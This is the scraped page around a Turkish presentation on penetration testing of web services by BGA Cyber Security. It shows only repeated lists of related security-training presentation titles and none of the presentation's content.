Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19BGA Cyber Security
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıBGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI BGA Cyber Security
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
Pentest Çalışmalarında Kablosuz Ağ Güvenlik Testleri
Pentest Çalışmalarında Kablosuz Ağ Güvenlik TestleriPentest Çalışmalarında Kablosuz Ağ Güvenlik Testleri
Pentest Çalışmalarında Kablosuz Ağ Güvenlik TestleriBGA Cyber Security
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuBGA Cyber Security
 

What's hot (20)

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
 
LLMNR ve NetBIOS Poisoning
LLMNR ve NetBIOS PoisoningLLMNR ve NetBIOS Poisoning
LLMNR ve NetBIOS Poisoning
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
 
BGA Staj Okulu Sınavı'17
BGA Staj Okulu Sınavı'17BGA Staj Okulu Sınavı'17
BGA Staj Okulu Sınavı'17
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim Notları
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
Pentest Çalışmalarında Kablosuz Ağ Güvenlik Testleri
Pentest Çalışmalarında Kablosuz Ağ Güvenlik TestleriPentest Çalışmalarında Kablosuz Ağ Güvenlik Testleri
Pentest Çalışmalarında Kablosuz Ağ Güvenlik Testleri
 
Web Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liğiWeb Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liği
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 
Siber güvenlik kampı sunumu
Siber güvenlik kampı sunumuSiber güvenlik kampı sunumu
Siber güvenlik kampı sunumu
 

Viewers also liked

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıWeb ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıBGA Cyber Security
 
Python mu Java mı?
Python mu Java mı?Python mu Java mı?
Python mu Java mı?aerkanc
 
Hadoop,Pig,Hive ve Oozie ile Büyük Veri Analizi
Hadoop,Pig,Hive ve Oozie ile Büyük Veri AnaliziHadoop,Pig,Hive ve Oozie ile Büyük Veri Analizi
Hadoop,Pig,Hive ve Oozie ile Büyük Veri AnaliziSerkan Sakınmaz
 
Büyük Veri ve Risk Yönetimi
Büyük Veri ve Risk YönetimiBüyük Veri ve Risk Yönetimi
Büyük Veri ve Risk YönetimiFatma ÇINAR
 
HTTPS Ne Kadar Güvenlidir?(sslstrip)
HTTPS Ne Kadar Güvenlidir?(sslstrip)HTTPS Ne Kadar Güvenlidir?(sslstrip)
HTTPS Ne Kadar Güvenlidir?(sslstrip)BGA Cyber Security
 
AI - Tekil 12 GSÜ
AI - Tekil 12 GSÜAI - Tekil 12 GSÜ
AI - Tekil 12 GSÜBurak Evren
 
Biyometrik Tanıma Sistemleri
Biyometrik Tanıma SistemleriBiyometrik Tanıma Sistemleri
Biyometrik Tanıma SistemleriBetül Becit
 
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuLiselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuAhmet Gürel
 
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...SELENGCN
 
Internet Tabanli EğItim
Internet Tabanli EğItimInternet Tabanli EğItim
Internet Tabanli EğItimselver
 
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAK
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAKYÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAK
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAKRecep Holat
 
Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)BGA Cyber Security
 
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkTCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkBGA Cyber Security
 
Büyük veri(bigdata)
Büyük veri(bigdata)Büyük veri(bigdata)
Büyük veri(bigdata)Hülya Soylu
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA Cyber Security
 
Python Image Kütüphanesi
Python Image KütüphanesiPython Image Kütüphanesi
Python Image KütüphanesiCaglar Dursun
 

Viewers also liked (20)

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıWeb ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
 
Python mu Java mı?
Python mu Java mı?Python mu Java mı?
Python mu Java mı?
 
Hadoop,Pig,Hive ve Oozie ile Büyük Veri Analizi
Hadoop,Pig,Hive ve Oozie ile Büyük Veri AnaliziHadoop,Pig,Hive ve Oozie ile Büyük Veri Analizi
Hadoop,Pig,Hive ve Oozie ile Büyük Veri Analizi
 
Büyük Veri ve Risk Yönetimi
Büyük Veri ve Risk YönetimiBüyük Veri ve Risk Yönetimi
Büyük Veri ve Risk Yönetimi
 
HTTPS Ne Kadar Güvenlidir?(sslstrip)
HTTPS Ne Kadar Güvenlidir?(sslstrip)HTTPS Ne Kadar Güvenlidir?(sslstrip)
HTTPS Ne Kadar Güvenlidir?(sslstrip)
 
AI - Tekil 12 GSÜ
AI - Tekil 12 GSÜAI - Tekil 12 GSÜ
AI - Tekil 12 GSÜ
 
Pasif Bilgi Toplama
Pasif Bilgi ToplamaPasif Bilgi Toplama
Pasif Bilgi Toplama
 
Biyometrik Tanıma Sistemleri
Biyometrik Tanıma SistemleriBiyometrik Tanıma Sistemleri
Biyometrik Tanıma Sistemleri
 
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı SunumuLiselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
Liselere Yazılım ve Siber Güvenlik Farkındalığı Sunumu
 
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...
YAPAY ZEKÂ VE DUYGUSAL ZEKÂ KULLANIM FARKLILIKLARININ İNCELENMESİ: TEKNOLOJİK...
 
Yapay Sinir Ağları
Yapay Sinir AğlarıYapay Sinir Ağları
Yapay Sinir Ağları
 
Yapay Sinir Ağları
Yapay Sinir AğlarıYapay Sinir Ağları
Yapay Sinir Ağları
 
Internet Tabanli EğItim
Internet Tabanli EğItimInternet Tabanli EğItim
Internet Tabanli EğItim
 
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAK
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAKYÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAK
YÜZ BULMA VE TANIMA SİSTEMLERİ KULLANARAK
 
Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)Tcpdump ile Trafik Analizi(Sniffing)
Tcpdump ile Trafik Analizi(Sniffing)
 
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – TsharkTCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
 
Büyük veri(bigdata)
Büyük veri(bigdata)Büyük veri(bigdata)
Büyük veri(bigdata)
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
Python Image Kütüphanesi
Python Image KütüphanesiPython Image Kütüphanesi
Python Image Kütüphanesi
 

Similar to Web Servislerine Yönelik Sızma Testleri

Angular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiAngular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiBGA Cyber Security
 
Netaş Servis Sanallaştırma Platformu
Netaş Servis Sanallaştırma PlatformuNetaş Servis Sanallaştırma Platformu
Netaş Servis Sanallaştırma PlatformuNetaş
 
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabilecekleriniz
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabileceklerinizApp fabric servis veriyolu ve appfabric erişim kontrolü ile yapabilecekleriniz
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabileceklerinizEren Caner
 
Spring Web Service
Spring Web ServiceSpring Web Service
Spring Web Servicedasgin
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriBGA Cyber Security
 
WEB SERVİCE
WEB SERVİCE WEB SERVİCE
WEB SERVİCE AliMETN
 
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone Meetups
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone MeetupsE-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone Meetups
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone MeetupsTevfik Mert Azizoglu
 
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1BGA Cyber Security
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfMert339194
 
Balkanay Web Sunum
Balkanay Web SunumBalkanay Web Sunum
Balkanay Web Sunumeroglu
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriEyüp ÇELİK
 
Microsoft Azure Mini BootCamp_2.Gün.pptx
Microsoft Azure Mini BootCamp_2.Gün.pptxMicrosoft Azure Mini BootCamp_2.Gün.pptx
Microsoft Azure Mini BootCamp_2.Gün.pptxMustafa Özdemir
 
Introduction to Amazon Web Services
Introduction to Amazon Web ServicesIntroduction to Amazon Web Services
Introduction to Amazon Web ServicesAnkaraCloud
 

Similar to Web Servislerine Yönelik Sızma Testleri (20)

Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
Angular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiAngular JS ve Node JS Güvenliği
Angular JS ve Node JS Güvenliği
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
Netaş Servis Sanallaştırma Platformu
Netaş Servis Sanallaştırma PlatformuNetaş Servis Sanallaştırma Platformu
Netaş Servis Sanallaştırma Platformu
 
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabilecekleriniz
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabileceklerinizApp fabric servis veriyolu ve appfabric erişim kontrolü ile yapabilecekleriniz
App fabric servis veriyolu ve appfabric erişim kontrolü ile yapabilecekleriniz
 
Web Technolojileri
Web TechnolojileriWeb Technolojileri
Web Technolojileri
 
Spring Web Service
Spring Web ServiceSpring Web Service
Spring Web Service
 
BTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi EğitimiBTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi Eğitimi
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
Apache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik TestleriApache Htaccess Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
 
WEB SERVİCE
WEB SERVİCE WEB SERVİCE
WEB SERVİCE
 
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone Meetups
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone MeetupsE-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone Meetups
E-Ticaret Siteleri İçin 20 SEO Maddesi - Digitalzone Meetups
 
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdf
 
Balkanay Web Sunum
Balkanay Web SunumBalkanay Web Sunum
Balkanay Web Sunum
 
.Net ile yazılım güvenliği
.Net ile yazılım güvenliği.Net ile yazılım güvenliği
.Net ile yazılım güvenliği
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation Yontemleri
 
Microsoft Azure Mini BootCamp_2.Gün.pptx
Microsoft Azure Mini BootCamp_2.Gün.pptxMicrosoft Azure Mini BootCamp_2.Gün.pptx
Microsoft Azure Mini BootCamp_2.Gün.pptx
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Introduction to Amazon Web Services
Introduction to Amazon Web ServicesIntroduction to Amazon Web Services
Introduction to Amazon Web Services
 

More from BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 

More from BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 

Web Servislerine Yönelik Sızma Testleri

